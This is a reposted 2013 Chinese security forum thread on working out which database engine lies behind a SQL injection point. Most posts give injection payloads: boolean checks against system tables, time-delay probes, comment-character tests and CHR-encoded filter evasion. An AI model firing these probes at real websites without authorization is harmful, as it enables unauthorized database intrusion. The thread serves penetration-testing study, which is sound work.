来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 假设这么一个注射点:show.html?id=2mysql:id=2 and version()0oracle:id=2 and #39;1#39;||#39;1#39;=#39;11其他的欢迎补充1#upload | 2013-02-05 12:47Access:aNd aSc(cHr(97))=97and exists(s......
假设这么一个注射点:
show.html?id=2
mysql:id=2 and version()>0
oracle:id=2 and '1'||'1'='11
其他的欢迎补充
1#
upload | 2013-02-05 12:47
Access:
aNd aSc(cHr(97))=97
and exists(select id from MSysAccessObjects)
SQL Server:
and exists(select id from sysobjects)
and length(user)>0
MySQL:
and length(user())>0
2#
xsser | 2013-02-05 12:48
如果这些都不是呢...
3#
upload | 2013-02-05 13:03
不快速的,延时注入
不知道这样写对不对
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
mysql:id=2 and select benchmark(1e8,current_date());
4#
upload | 2013-02-05 13:10
最快的貌似是看报错信息
oracle error
mssql error
mysql error
5#
Nimda | 2013-02-05 13:14
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
6#
upload | 2013-02-05 13:21
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
7#
_Evil | 2013-02-05 13:33
PostgreSQL
8#
upload | 2013-02-05 13:42
切换编码 and 1=1
oracle:
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
CHAR(97, 110, 100, 32, 49, 61, 49)
9#
xsser| 2013-02-05 14:31
比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
10#
upload | 2013-02-05 14:46
是奇葩数据库类型的么?
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
1.是否可以使用特定的函数来判断,该数据库特有的
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
3.是否可以编码查询
4.是否显可以利用错信息
5.是否存在数据库某些特性辅助判断
个人见解
11#
小胖子 | 2013-02-05 14:55
已收藏,mssql可以直接看到错误提示的吧~
12#
Passer_by | 2013-02-05 15:09
曾被 GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com